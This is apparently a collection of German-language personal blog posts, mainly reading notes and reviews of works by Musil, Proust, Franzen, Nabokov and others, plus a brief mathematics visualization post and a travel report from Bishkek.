Jewgenij Samjatins 200-Seiter Wir erschien schon 1920, das heißt vor Huxleys Brave New World und Orwells 1984 – und ich muss dem Nachwort zustimmen:
Dennoch bestehen grundlegende Unterschiede zwischen den drei Werken. Samjatins prophetische Leistung steht weit über der der beiden andern: Als er seinen Roman schrieb, existierte der Totalitarismus erst im Embryonalzustand – als Huxley schrieb, hatte die monopolkapitalistische Rationalisierung in Amerika ihren ersten Höhepunkt erreicht (Ford), als Orwell schrieb, stand der Stalinismus im Zenit der Macht. Dafür konnten die beiden Engländer das Antlitz der modernen Welt präziser und pointierter zeichnen.
Mit der Entwicklungshilfe und -politik ist es ja so eine Sache: Wie soll man die „dritte Welt“ behandeln? Direkte Hilfe? Hilfe zur Selbsthilfe? In Ruhe lassen? Was hilft eigentlich wirklich? – Im Wesentlichen geht es bei Entwicklungshilfe, wenn sie nicht in Waffenlieferungen besteht, fast immer um Länder, deren Bevölkerung großteils extrem arm ist: Die Menschen, die von weniger als einem US-Dollar am Tag leben. Die beiden Wirtschafts-Professoren Duflo und Banerjee analysieren in ihrem Buch Poor Economics, wie Wirtschaft in „arm“ funktioniert: Es gibt keine Banken (warum nicht? wer verleiht das Geld und zu welchen Zinssätzen?); es gibt keine gesundheitlichen und sozialen Sicherungssysteme (wie sparen für den Notfall? was, wenn die Ernte verdirbt?); das Risiko des totalen Bankrotts ist immer imminent (wie damit umgehen?). – Kurz: Wirtschaft funktioniert ganz anders, wenn man so gut wie kein Geld hat. Die Frage, die sich natürlich stellt ist: Gibt es Möglichkeiten, Institutionen oder Policies zu schaffen, um diese Zustände zu verbessern? Duflo und Banerjee kritisieren die „Monokultur-Ansätze“ von J. Sachs („Mehr Geld behebt das Problem“) und W. Easterly („Keine Hilfe zu geben lässt zu, eigene Lösungen zu finden“), und bewegen sich von Fall zu Fall durch verschiedene Lösungsansätze konkreter Probleme und bewerten die Wirksamkeit. Das ist das Ziel des Buches:
This book is an invitation to think again, again: to turn away from the feeling that the fight against poverty is too overwhelming, and to start to think of the challenge as a set of concrete problems that, once properly identified and understood, can be solved one at a time.
Leseempfehlung für alle, die sich mit Entwicklungshilfe auseinandersetzen wollen.
In den vergangenen Monaten habe ich Jonathan Franzen für mich entdeckt: Zuerst habe ich Freedom gelesen: locker und leicht, aber doch genug Dilemma, damit das Panorama nicht allzu beiläufig wirkt. An einigen Stellen wirkte der Roman recht autobiographisch. Man vergleiche das folgende Textfragment aus Freedom…
In a pocket of his khakis was a handful of coins that he took out and began to fling, a few at a time, into the street. He threw them all away, the pennies of his innocence, the dimes and quarters of his self-sufficiency. He needed to rid himself, to rid himself. He had nobody to tell about his pain […]. He was totally alone and didn’t understand how it had happened to him.
Mit diesem Bericht (Archiviert) einer Reise Franzens in Deutschland:
Real anger, anger as a way of life, was foreign to me until one particular afternoon in April 1982. I was on a deserted train platform in Hanover. I'd come from Munich and was waiting for a train to Berlin, it was a dark grey German day, and I took a handful of German coins out of my pocket and started throwing them on the platform. There was an element of anti-German hostility in this, because I'd recently had a horrible experience with a penny-pinching old German woman and it did me good to imagine other penny-pinching old German women bending down to pick the coins up, as I knew they would, and thereby aggravating their knee and hip pains. The way I hurled the coins, though, was more generally angry. I was angry at the world in a way I'd never been before.
Daraufhin habe ich eine seiner Essay-Kollektionen, How to be Alone, gelesen. Sehr zu empfehlen! Der Mann kann wirklich gut schreiben, und schämt sich auch nicht, seine Schwächen öffentlich zu diskutieren. Aus Mr. Difficult (dem lustigsten der Artikel, der aber doch ziemlich ernst ist):
It’s hard to consider literature a medicine, in any case, when reading it serves mainly to deepen your depressing estrangement from the mainstream …
Und dann habe ich noch zur Abrundung The Corrections gelesen. Ein Panorama ähnlich Freedom, aber so langsam habe ich genug davon. Ich hole mir lieber noch einen weiteren Essay-Band…
Es gibt so Klassiker, die ich nie lese, weil ich das Thema nicht ansprechend finde. So ging es mir mit Harper Lees To Kill a Mockingbird, bis ein Freund mir das Buch auslieh und meinte ich müsste es lesen. Und ja, das ist ein beendruckend schönes Buch mit ungeahnter moralischer Komplexität.
Ich wollte ins Theater gehen, denn es wurde Dostojewskis Der Spieler aufgeführt. Aber die Vorstellung wurde kurzzeitig abgesagt, und stattdessen wurde Die Wirtin gespielt. Leider konnte ich doch nicht zu der Vorstellung gehen, und die Geschichte hat mir auch nicht wirklich gut gefallen. Aber da das Buch nun schonmal aufgeschlagen war, habe ich Der ewige Gatte gelesen, und das ist eine der gelungensten Kurzgeschichten des Autors, wie ich finde.
Ich war eine Woche in Dubai und hatte nichts zu lesen dabei, also war ich dort einkaufen: Roberto Bolaño: Woes of the true Policeman – Interessant vor allem für Leute, die 2666 gemocht haben (für die Biographie Arc(h)imboldis) – aber vielleicht auch als eigenständige (Fragment-)Lektüre insteressant. – Ernest Hemingway: A Farewell to Arms, nicht so sehr beeindruckend. Aber eine schöne Ausgabe mit 47 alternativen Enden. – Gustave Flaubert: Madame Bovary, die Geschichte startet so schön schnell: Junge schafft Studium nicht, dann doch, dann Heirat, dann Tod der bösen Frau, dann neue Heirat – und das alles in den ersten Kapiteln. Aber dann zieht sich die Handlung über die nächsten hundert Seiten so dermaßen, dass ich irgendwann keine Lust mehr drauf hatte. Ich bin vielleicht auch nicht die Zielgruppe.
Italo Calvino: Wenn ein Reisender in einer Winternacht – hätte man etwas kürzer, dafür aber besser machen können. Mehr meta.
Ich habe mich endlich mal an Thomas Mann gemacht. Die Buddenbrooks fand ich ziemlich langatmig, und an vielen Stellen zu kalt und distanziert, wenig einfühlsam, obwohl doch bewusst persönliches Drama geschildert werden sollte. Als Charakterisierung und Beschreibung des Niedergangs einer Familie aber natürlich meisterhaft. (Nachtrag 2014-05-21: Musil schreibt 1905 in sein Tagebuch: „Statt dessen las ich die Buddenbrocks [sic]. Sehr fein und langweilig; vielleicht meisterlich al fresco – aber langweilig; mitunter überraschend souverän.“)
Reiseliteratur neu definiert haben soll Bruce Chatwins Bericht über eine Expedition ins südliche Südamerika, In Patagonia. Ich war wenig beeindruckt, leider: Eine Aneinanderreihung von Geschichten und Begegnungen, aber keine davon hat mich wirklich berührt. Etwas Abenteuer ist natürlich auch dabei:
‘You could break a leg,’ she said, ‘or get lost and we’d have to send a search party. We used to ride it in a day, but you can’t get a horse through now.’
And all because of the beavers. A governor of the island brought the beavers from Canada and now their dams choked the valleys where once the going was clear. But still I wanted to walk the track.
Dazu in der ZEIT: Der Biberkrieg, wie die Biberplage in Feuerland eingedämmt werden soll.
Ich habe mich auch an James Joyce versucht: A Portrait of the Artist as a Young Man. Also damit konnte ich ja mal überhaupt nichts anfangen. Und noch ein Stück Weltliteratur, die ich irgendwie gar nicht verstehe: Gabriel García Márquez, Hundert Jahre Einsamkeit. Alle Leute heißen gleich, und ich kann mit der Geschichte gar nichts anfangen.
Usually it’s really difficult to “show” what I do in mathematics, because to most people it’s just formulas – who cares if it’s topology or measure theory, it’s all the same. But I just finished a small project with a friend for a lecture called “Scientific Visualization”, and this is a result that you can just “watch”.
So, in case you have always been interested in the Petersen Graph and wondered how it is possible to embed it without edge intersection on the surface of the Cross Cap – well, I got a small report for you, and this animation:
(In case the <video>
element fails in your browser, download it here:
MKV (recommended) or
MPG.)
Die Gärten sind nur noch zum Scheine kahl.
Die Sonne heizt und nimmt am Winter Rache.
Es ist zwar jedes Jahr dieselbe Sache,
doch es ist immer wie zum erstenmal.
(Aus: Erich Kästner, »Besagter Lenz ist da«, 1928)
Ich habe in den letzten drei Monaten alle veröffentlichten Werke von Robert Musil gelesen, sowie zwei kleine Bücher mit Tagebuchfragmenten und Briefen des Autors. Irgendwie habe ich die Lektüre noch nicht in Gänze verarbeitet; aber vielleicht hilf es ein wenig, darüber zu schreiben, um ein bisschen zu beleuchten, was mich an diesem Autor fasziniert.
Man kommt bei Musil nicht umhin, ihn für seinen Stil zu loben: Wie mathematisch-präzise, wie realistisch! Niemals wird ein Ding ver-klärt, um es zu er-klären – lieber wird auf eine genaue Charakterisierung verzichtet zugunsten einer rigorosen, aber bruchstückhaften, teilweise zu keinem eindeutigen Schluss kommenden Behandlung.
Der Stil ist aber für Musil nur Mittel zum Zweck:
Ich wäre dem Publikum sehr dankbar, wenn es weniger meine ästhetischen Qualitäten beachten würde und mehr meinen Willen. Stil ist für mich die exakte Herausarbeitung eines Gedankens.
Musil ist generell sehr anstrengend zu lesen, und die Bücher liegen mir auch Monate nach der Lektüre noch sperrig im Kopf; ich konnte mir bisher kein abschließendes Urteil zu dem literarischen Werk dieses Autors bilden. Daher muss es an dieser Stelle genügen, ein paar Gedanken und Zitate zu den Büchern aufzulisten, in der Reihenfolge, in der ich sie gelesen habe.
Lang, in der Mitte fast einschläfernd, aber besonders im Nachhinein ein unglaubliches Buch. Die Präzision, mit der Musil schreibt, ist beeindruckend: Gedanken, die ich selbst schon wage hatte, werden dort so detailliert und umfassend dargestellt, dass ich mehrere Kapitel wieder gelesen habe und teilweise nach Tagen noch ein mir im Kopf herumspukendes Zitat rausgeschrieben habe. Wäre es nicht so lang, würde ich es gleich noch einmal lesen.
Die Hauptperson des Buches, der Mathematiker und Philosoph Ulrich, ist ein Charakter, der mir selbst sehr ähnlich scheint. Das ständige Es-könnte-auch-anders-sein, das sich immer Wiederholende Suchen nach strukturellen Gründen, nach ursprünglichen Prinzipien, die sich bei näherer Betrachtung als Trugschlüsse erweisen – dieses Ohne-Eigenschaften-Sein – aber in einem positiven Sinne! – trifft auch auf mich zu. Die Dinge passieren um uns, und wir werden geformt: nicht umgekehrt.
Ein Paradestück der Analyse ist zum Beispiel dieser Abschnitt aus dem Kapitel 34, Ein heißer Strahl und erkaltete Wände:
Im Grunde wissen in den Jahren der Lebensmitte wenig Menschen mehr, wie sie eigentlich zu sich selbst gekommen sind, zu ihren Vergnügungen, ihrer Weltanschauung, ihrer Frau, ihrem Charakter, Beruf und ihren Erfolgen, aber sie haben das Gefühl, daß sie betrogen worden seien, denn man kann nirgends einen zureichenden Grund dafür entdecken, daß alles gerade so kam, wie es gekommen ist; es hätte auch anders kommen können; die Ereignisse sind ja zum wenisten von ihnen selbst ausgegangen, meistens hingen sie von allerhand Umständen ab, von der Laune, dem Leben, dem Tod ganz anderer Menschen, und sind gleichsam bloß im gegebenen Zeitpunkt auf sie zugeeilt. So lag in der Jugend das Leben noch wie ein unerschöpflicher Morgen vor ihnen, nach allen Seiten voll von Möglichkeiten und Nichts, und schon am Mittag ist mit einemmal etwas da, das beanspruchen darf, nun ihr Leben zu sein, und das ist im ganzen doch so überraschend, wie wenn eines Tags plötzlich ein Mensch dasitzt, mit dem man zwanzig Jahre lang korrespondiert hat, ohne ihn zu kennen, und man hat ihn sich ganz anders vorgestellt.
Vergleiche auch die Fabel Kafkas Über die Einengung der Maus, in der die Katze sagt: „Du musst doch bloß die Laufrichtung ändern!“ – Der Abschnitt geht weiter mit:
Noch viel sonderbarer aber ist es, daß die meisten Menschen das gar nicht bemerken; sie adoptieren den Mann, der zu ihnen gekommen ist, dessen Leben sich in sie eingelebt hat, seine Erlebnisse erscheinen ihnen jetzt als der Ausdruck ihrer Eigenschaften, und sein Schicksal ist ihr Verdienst oder Unglück.
Im Nachhinein bleibt vor allem das Antiklimaktische des Buches hängen: Musil sagte selbst über den Roman: „Die Geschichte dieses Romans kommt darauf hinaus, daß die Geschichte, die in ihm erzählt werden sollte, nicht erzählt wird.“
Warum passierte denn nichts, warum fing Ulrich nichts mit seinen so wohldurchdachten Erkenntnissen an? Aber auch diese Frage wird ja beantwortet im Gespräch mit Agathe:
»Weshalb sind wir denn keine Realisten?« fragte sich Ulrich. Sie waren es beide nicht, weder er noch sie, daran ließen ihre Gedanken und Handlungen längst nicht mehr zweifeln; aber Nihilisten und Aktivisten waren sie, und bald das eine bald das andere, je nachdem wie es kam.
Gott ist tot: Das Nietzsche’sche Denken durchtränkt das Buch (explizit bei Clarisse; praktischer und struktureller bei Ulrich, der sich der Unzulänglichkeiten der Moral und der Unbestimmbarkeit von absolutem Gut und Böse längst verschrieben hat). Es ist auch ein gutes Stück Entfremdung darin, aber einer geistigen Art (also nicht im Marx’schen Sinne): Vielmehr eine Erkenntnis der Nicht-Erkennbarkeit der Welt, und auf diese Erkenntnis folgt nicht der Aufbau neuer Sinn-Kathedralen, sondern ein zerfaserndes, dielektisches Verneinen dessen, was „die Leute“ tun, ohne erkennbares Ziel außer wissenschaftlicher Strenge allem was „ist“ gegenüber.
Es ist definitiv ein philosophischer Roman – aber es fühlt sich ganz anders an, als wenn man Philosophie liest:
[Ulrich] war kein Philosoph. Philosophen sind Gewalttäter, die keine Armee zur Verfügung haben und sich deshalb die Welt in der Weise unterwerfen, daß sie sie in ein System sperren.
Und so bleibt alles fragmentarisch, aphoristisch, essayistisch – doch gleichzeitig vermittelt das Buch, dass dies die einzige Betrachtungsweise der Welt ist, die man zu rechtfertigen in der Lage ist. (Interessant, dass Ulrich gar keine zynischen Züge trägt.)
Vielleicht ist es das für mich bisher bedeutendste Buch, das ich gelesen habe.
Einige der Kapitel, gerade in der ersten Hälfte, kann man fast kontextlos lesen und verstehen. Zu empfehlen sind zum Beispiel:
Aus den Tagebüchern (Suhrkamp-Edition 1963): Beeindruckendes Essay-Fragment „Aus dem stilisierten Jahrhundert (Die Straße)“ über die 2x2=4-Welt der Leute, wie man diese Welt transzendiert und doch wieder erwacht, ohne den Finger darauf legen zu können, wie man „diesen Leuten“ eigentlich voraus ist (und ob man es überhaupt ist: doch das Gefühl bleibt).
Und immer wieder das Strukturelle, z.B. in folgender Selbstbeobachtung:
Am nächsten komme ich der Beschreibung meines Gedächtnisses (und auch meiner Phantasievorstellung) mit folgendem: Ich stelle in jeder Hinsicht unanschaulich vor, etwa in »Sachverhalten«. Ich merke mir auch selten Einzelheiten, sondern immer nur irgendeinen Sinn der Sache. Aus den Sachverhalten, die ganz formlos da sind, fast nicht da sind, bilden sich auf eine Weise, die ich nicht analysiert habe, die Aussagen.
Ich glaube, daß ich deshalb auch so schwer schreibe.
Und:
Ich sehe nicht ein, warum man in Begriffen sich verständigen soll, statt in Vorstellungen. Ich würde mich – vielleicht – lieber – in Vorstellungen verständigen, wenn es ginge. Man soll mir widersprechen.
Eine weitere Selbstbeobachtung:
Ich glaube, ich habe keine Moral. Grund: Mir wird alles zu Bruchstücken eines theoretischen Systems. Die Philosophie habe ich aber aufgegeben, so fällt die Berechtigung weg. Es bleiben nur: Einfälle. –
Das Musil-Lesebuch (Rowohlt 1991) muss man nicht unbedingt gelesen haben; Fragmente der Romane, die man besser ganz liest. Aber ein paar der bekannten kurzen Essays, die in dem Suhrkamp-Buch fehlen.
In der Neuausgabe des MoE von Anaconda waren einige OCR-Scan-bedingte Satzfehler; die habe ich an den Verlag geschickt, der sich prompt dafür bedankte, indem ich mir ein Buch meiner Wahl aus dem Sortiment aussuchen konnte: Den Törleß. (Übrigens eine schöne Ausgabe mit Leseband!)
Ich hatte das Buch einmal in der Schule gelesen, ohne mich darum zu kümmern. Tatsächlich ist es ein beeindruckendes Portrait einer Unsicherheit, die vielleicht nicht alle Menschen nur in der Pubertät ereilt: Die Welt zwischen Wissen und Fühlen, dass die Dinge eigentlich viel tiefer sind, als Umstehende ihnen zugestehen wollen. Interessant, wie die imaginären Zahlen, die – zumindest für einen Schüler – so berechtigungslos und doch nützlich in der Mathematik auftauchen, als Aufhänger dienen.
Drei Frauen – „Grigia“ schön kafkaesk; die anderen beiden haben keinen Eindruck auf mich gemacht.
Vereinigungen – „Die Vollendung der Liebe“: Kann man die Genesis eines Gedanken überhaupt so genau beschreiben? Die Zugfahrt, während derer sie den Einfall eines Seitensprunges erhält, ist meisterhaft. – Die zweite Erzählung ist mir zu voll von „tierisch“ und tiefen, wabernden Gedanken, die irgendwann klein und hart und fest werden. Generell etwas, was mich in den frühen Werken stört, weil ich damit nichts anfangen kann.
Die Schwärmer (Theaterstück) – Schwer. Interessant. Schwer bestimmbare Charaktere. Ich würde die Wirkung des Stücks gerne mal auf der Bühne sehen. Zwei Zitate:
Alles hat einen Riß, wenn man klug ist und nicht glaubt?
Und:
Das menschlichste Geheimnis der Musik ist ja nicht, daß sie Musik ist, sondern daß es mit Hilfe eines getrockneten Schafdarms gelingt, uns Gott nahe zu bringen.
Trotz meiner SciFi-Aversion habe ich auf mehrfache Empfehlung Orson Scott Caros (schon ziemlich altes) Buch Ender’s Game gelesen. Spannend! Der Film gefiel mir auch ganz gut – auch wenn man ihn viel besser versteht, wenn man das Buch gelesen hat: vieles wird nicht so klar herausgearbeitet. Hier ist noch ein interessantes Interview mit dem Autor.
Ab und zu finde ich in einer Grabbelkiste mal einen Roman von Ian Rankin, den ich noch nicht kenne: Doors Open ist ein nettes Buch über einen Kunstraub, und es ist nett, Rankin auch mal aus der Perspektive von nicht-Polizisten erzählen zu hören.
An einem Wochenende im September war ich in Kopenhagen, und obwohl ich zwei Bücher dabei hatte, war ich schon am Samstag mit ihnen durch. Wo findet man in Kopenhagen auf einen Sonntag Nachmittag ein englischsprachiges Buch? Der einzige Ort, wo ich tatsächlich Erfolg hatte, war dieses Cafe, das gleichzeitig ein Antiquariat ist. Selbiges hat am Sonntag geschlossen, aber es gibt ein paar Bücherregale, in denen sich Besucher ein Buch ausleihen (und dann auch käuflich erwerben) können. Das noch beste Buch, das ich fand, war ein mittlerweile nicht mehr lieferbares Buch von Richard Cox, The Katanga Run. Es geht um Ex-Fliegerkameraden, die einen alten Groll hegen, sich dann aber Anfang der 60’er Jahre im Kongo auf verschiedenen Seiten eines Konfliktes wiederfinden. Kein gutes Buch, und die Erzählung gipfelt darin, dass der UN-Generalsekretär unter mysteriösen Umständen abstürzt – aber keine Woche später lese ich die Meldung, dass die UN genau diesen 52 Jahre alten Fall neu untersuchen will, und beim Nachlesen über dieses Ereignis kam mir das Buch trotz seines Tom-Clancy-Stils historisch ziemlich akkurat vor. Zufälle gibt’s.
Das 2010 erschienene Buch von Bret Easton Ellis, Imperial Bedrooms, ist typisch und gut. Ich habe mir zu dem Buch notiert: „Beängstigend, wie profaniert und ent-menschlicht Leben werden können.“ – Wo ich schon bei Ellis war, musste ich ja auch mal das deutsche Pendant lesen: Leider aber ist Faserland von Kristian Kracht nicht so wirklich gut. Das Buch ist schon lesenswert, aber ich finde – so merkwürdig das klingt – am besten an diesem Buch noch den Titel. Neue Einsicht: Hanuta steht für „Haselnusstafel“ (das steht sogar auf Wikipedia!). (Nebenbemerkung: Die einzige noch bekanntere Abkürzung in dem Bereich ist denke ich mal „Haribo“, dessen Gründer ja kürzlich verstorben ist.)
Ein wunderschönes Buch ist Der Steppenwolf von Hermann Hesse. Ein kleines Zitat muss an dieser Stelle reichen:
Also, Harry, steh auf, lege dein Buch weg, seife dich ein, kratze dir das Kinn blutig, zieh dich an und habe ein Wohlgefallen an den Menschen!
Das erste Buch, was ich von Nassim Taleb gelesen habe, ist das kürzlich erschienen Antifragile. Teil Lebensphilosophie, Teil Wirtschaftsbuch kommt es ziemlich unwissenschaftlich, aber mit interessanten Einsichten daher. Wenn man nicht genau hinschaut, könnte man Taleb fast neophob nennen, und zumindest predigt er ein gutes Stück Konservativismus. Ich konnte dem Buch einige interessante Einsichten abgewinnen, gerade bezüglich der Vorteile von Optionalität gegenüber Sicherheit. Ein häufiger Kritikpunkt an Taleb ist, dass er zu selektiv und polemisch argumentiert, und eine rigorose Argumentation gelingt ihm nur selten. Aber als Denkanstoß ist das Buch sehr lesenswert, und das Ansinnen, „Antifragilität“ (das eben nicht nur Robustheit ist) als ein neues Wort im modernen Wortschatz zu verankern, ist lobenswert und in meinen Augen auch wichtig.
Ein Klassiker der Weltliteratur, der gut und überraschend einfach zu lesen ist: Vladimir Nabokovs Lolita. Viele Leute mögen das ja als schlecht verpackte Pornographie bezeichnen, aber der Rahmen, in den das Buch eingeschlossen ist und insbesondere die zweite Hälfte der Geschichte sind in meinen Augen viel interessanter und wichtiger als die Pädophilie des ersten Teils (auch wenn die Leichtigkeit des Ausdrucks manchmal sehr unpassend und grausam wirkt). Besonders beim Nachwort des Autors musste ich doch ziemlich lachen, hier mal ein Absatz:
Gewisse Techniken in den ersten Kapiteln vom Lolita (so zum Beispiel Humberts Tagebuch) verführten einige meiner ersten Leser zu der irrigen Annahme, daß der vorliegende Roman ein schlüpfriges Buch wäre. Sie erwarteten eine zunehmende Folge erotischer Szenen; als diese aufhörten, hörten auch die Leser auf und waren gelangweilt und enttäuscht. Das ist, vermute ich, einer der Gründe, warum nicht alle vier [vorher erwähnten] Verlage das Typoskript bis zum Ende gelesen haben. Ob sie es pornographisch fanden oder nicht, interessierte mich nicht. Ihre Weigerung, das Buch anzukaufen, gründete sich nicht darauf, wie ich mein Thema behandelte, sondern auf dieses Thema selbst, denn wenigstens drei Themen gibt es, die für die meisten amerikanischen Verleger absolut tabu sind. Die beiden anderen sind: eine Heirat zwischen Schwarz und Weiß, die zu einer glücklichen Ehe mit einer Unzahl von Kindern und Enkelkindern führt; und der absolute Atheist, der ein glückliches und nutzbringendes Leben führt und mit hundertsechs Jahren sanft entschläft.
Von einem Freund geschenkt, habe ich Arno Orzesseks Erstling Schattauers Tochter gelesen. Puh also naja – das Buch war schon spannend, die Geschichte interessant, und ich will jetzt auch nicht spoilern, nur um einen Kritikpunkt zu machen: Aber alles in Allem wirkte der Roman in etwa so wie man erwarten würde, dass der erste Roman eines studierten Literaturwissenschaftlers aussieht – es ist bekannt, welche Erzählformen gut kommen, welche Themen den Kanon zeitgenössischer (Aufarbeitungs-)Literatur bestimmen, es wird ein wenig mit Formulierungen experimentiert und wie man einen Spannungsbogen zum Schluss bringt weiß der Autor sowieso. Mir war vieles einfach zu vorhersehbar, die Charaktäre zu sehr nach den Notwendigkeiten ihrer Position in der Handlung gezeichnet, insgesamt: zu viel Reißbrett.
Von den beiden CCC-Sprechern Frank Rieger und Constanze Kurz habe ich an einem arbeitsfreien Samstag das neue Buch Arbeitsfrei gelesen: Sehr spannende Einblicke in moderne Produktionssysteme. Ich versuche immer noch eine Primärquelle (oder besser noch ein Video!) für diese Silos zu finden, die bei der Anlieferung jedes einzelne Weizenkorn auf Mutterkornspuren untersuchen, das ist wirklich unglaublich.
Auf Anempfehlung eines Freundes habe ich von Edgar Hilsenrath den Roman Das Märchen vom letzten Gedanken über den Genozid der Armenier während des ersten Weltkrieges gelesen. Ein sehr interessanter Erzählstil; insgesamt gefiel mir das Buch auch gut, aber es war in Teilen doch zu repetitiv und langatmig. Ehrlich gesagt hatte ich vor der Lektüre nicht einmal von diesem Völkermord gewusst.
Das kürzlich erschienene neue Roman von Robert Harris, An Officer and a Spy, ist insgesamt ziemlich lesenswert. Die Dreyfuß-Affäre bestimmt ja auch nicht unwesentlich die Handlung in Prousts Recherche, und ich hatte mir nie wirklich die Zeit genommen, intensiv über die damals herrschende Gesinnung der Franzosen zum Militär und zu den jüdischen Mitbürgern nachzulesen – und gerade dieses Defizit füllt der Roman gut aus. Anfang etwas holprig für meinen Geschmack, und natürlich dafür, dass das ein Jahrelang schwelender Konflikt war, recht kurz.
Ich war die zweite Septemberhälfte über in Bishkek, der Hauptstadt von Kirgistan. Dort habe ich Gerrit dabei unterstützt, einen achttägigen Scrum-Workshop zu veranstalten, der an der KSUCTA stattfand. Die dortige Informatik-Fakultät hat eine Partnerschaft mit der FH Zwickau (siehe hier für Details).
Bishkek ist so eine Stadt, die man am besten so beschreibt: Einer der nahen Vertrauten Lenins kam aus Bishkek, und deshalb wurde die Stadt aufgebaut zu einem Zentrum der Region mit viel Soviet-Pomp, breiten Straßen, und guter Infrastruktur – aber dann wurde Kirgistan Anfang der ’90er Jahre unabhängig, und seit dem geht alles langsam kaputt.
Man hat hier also auf der einen Seite diese gewaltigen Plätze mit heroischen Denkmälern:
– und auf der anderen Seite zumindest äußerlich komplett verfallene Soviet-Infrastruktur:
Diese Kontraste sind beeindruckend. Insgesamt ist die Stadt aber sehr entspannt. Klar, der Verkehr ist ziemlich abenteuerlich (und es kommt der Unfallrate auch nicht zu Gute, dass Kirgistan vor einigen Jahren erlaubt hat, auch japanische Autos – das heißt Rechtslenker – zu importieren, obwohl man im Land auf der rechten Seite der Straße fährt) – aber dank der schachbrettmusterartig angelegten Nord-Süd- und Ost-West-Straßen gibt es fast keine Staus und der Verkehr fließt ziemlich gut. Nur ist an einigen Tagen die Luft wirklich schwer zu atmen und voller unverbranntem Benzin. (Es gibt an den Tankstellen durchaus noch 80-Oktan-Benzin zu kaufen.)
Sobald man aus der Stadt heraus kommt, ist die Luft aber so frisch, und man ist, wo man auch hingeht, umgeben von Wasser und Bergen. Ich hatte das Glück, zwei Tage lang wandern gehen zu können.
Überall durch die Berge fließt Wasser: Manchmal kleine Rinnsale, manchmal ausgewachsene Flüsse mit mehr oder weniger abenteuerlichen Brückenkonstruktionen:
Teilweise läuft man Statuen oder anderen Steinmetzarbeiten über den Weg; meist aber nur Schaf-, Ziegen-, Kuh- und Pferdeherden (das ist besonders abends eher unentspannt, wenn die Herden über die Autobahnen getrieben werden).
Hauptsächlich ist es aber eins: idyllisch!
Ein Denkmal im Zentrum Bishkeks hat mich tief beeindruckt. Es erinnert an die Toten der Revolutionen von 2002 und 2010. Das Motiv ist klar: Abspaltung des Schlechten (schwarz) vom wesentlich größeren Guten (weiß) durch Revolution.
Was genau mich daran so fasziniert, ist etwas schwer auszudrücken: Auf gewisse Weise kristallisiert sich in dieser so plakativ simplen Darstellung des Gegensatzes von Gut und Böse einer der Grundirrtümer des sovietischen Sozialismus heraus: Dass Dinge auf zentralistisch–kollektivistische Weise ultimativ benennbar und zweifelsfrei entscheidbar sind, und dass das Schlechte einer Gesellschaft sich sozusagen aseptisch vom Guten abtrennen lassen kann; dass die Dinge nicht untereinander verflochten, vieldeutig und voller Widersprüche sind, die der Mensch nicht in der Lage ist, in aller Gänze zu erfassen.
Fast den ganzen Sommer – 88 Tage, um genau zu sein – habe ich für die Lektüre von Marcel Prousts Auf der Suche nach der verlorenen Zeit gebraucht. Drei Monate also, in denen ich täglich ein bis zwei Stunden in der Belle Époque im Frankreich des ausgehenden 19. Jahrhunderts verbracht habe. Und nun, 4.195 Seiten später, ist das Abenteuer zu Ende. Was für eine Erfahrung!
Natürlich gibt es viel zu sagen zu einem solchen Buch, das regelmäßig als der »Roman der Romane« in den Listen der Bücher auftaucht, die man gelesen haben muss. Und auch ich erinnere mich noch gut, wie ich mit 18 Jahren – retrospektiv betrachtet war ich natürlich noch zu jung dafür – nach den ersten paar Dutzend Seiten (zunächst) ergebnisloser Landschftsbeschreibung das Buch gähnend weggelegt habe und mich Interessanterem gewidmet habe (wie es vermutlich Vielen geht, doch dazu weiter unten mehr) – und doch bin ich dadurch, dass mir in verschiedenen Kontexten immer wieder dieses Werk über den Weg lief Anfang dieses Sommers darauf gekommen, dass ich es doch noch einmal versuchen sollte. Angesichts des schieren Umfangs des Romans muss man sich nun einmal bewusst machen, dass das, was in einer 400-Seiten-Erzählung eine zehnseitige Exposition eines Vorortes samt seiner Bewohner ausmacht, hier entsprechend skaliert gute 100 Seiten ausmacht. Mit diesem Wissen gewappnet aber verliert man die Erwartungshaltung um eine sich nun doch hoffentlich bald herauskristallisierenden Handlung, und dieser Schritt tut dringend Not. Denn erst später – das heißt im zweiten, dritten, vierten Buch, und nicht mal dann in aller Gänze – erschließen sich dem Leser die zentralen Themen des Werkes. Wer aber so lange durchhält, wird reich belohnt.
Ich will aber hier nur einen zentralen Aspekt herausgreifen, und zwar den des Selbstmitleides des Protagonisten angesichts seiner Eifersucht. Schon früh erkennt ja der Leser, dass der Erzähler rückblickend seine damalige Weltsicht zu rekonstruieren versucht, zum Zeitpunkt des Aufschreibens aber schon sehr viel weiter ist mit seinen Gefühlen bezüglich der Liebe und Eifersucht gegenüber seiner Geliebten. Insbesondere ist schon zu dem Zeitpunkt klar, dass all diese den Erzähler so unglaublich leidend machenden Empfindungen späterhin vergessen sein werden. Genau dieser zeitliche Zusammenhang aber hat mich sehr mitgenommen: Es ist, als durchlebe man noch einmal im kleinsten Detail und mit Kenntnis der Zukunft diejenigen Leiden (und Fehler), die einen prägen, und die doch später als Gefühl, nicht jedoch als Erfahrung bedeutungslos geworden sind. Es ist in diesem Teil des Buches, dass der Erzähler eine große Wahrheit über die Welt, die Wesen, die sich in ihr bewegen und im Verhältnis dazu den Standpunkt des Betrachters erfährt:
Wir besitzen von der Welt nur formlose, fragmentarische Vorstellungen, die wir durch willkürliche Ideenassoziationen vervollständigen, aus denen sich gefährliche Suggestionen ergeben.
Wie aber kann man diese fragmentarischen Vorstellungen zu einem großen Ganzen zusammenführen? Am Ende des Buches, während der abschließenden Matinée, geht der Erzähler in einem vorausgreifenden Blick bereits auf die Kritiker seines Romans ein, als er sagt:
Da, wo ich die großen Gesetze suchte, glaubte man in mir jemanden zu sehen, der nach Einzelheiten grub.
Es ist genau dieses ständige Suchen nach Einzelheiten, um damit universelles zu illustrieren, das fasziniert. So sei in den Augen Adornos „Rettendes zu hoffen von der Rezeption eines Dichters, der das Exemplarische vereint mit dem Avancierten“.
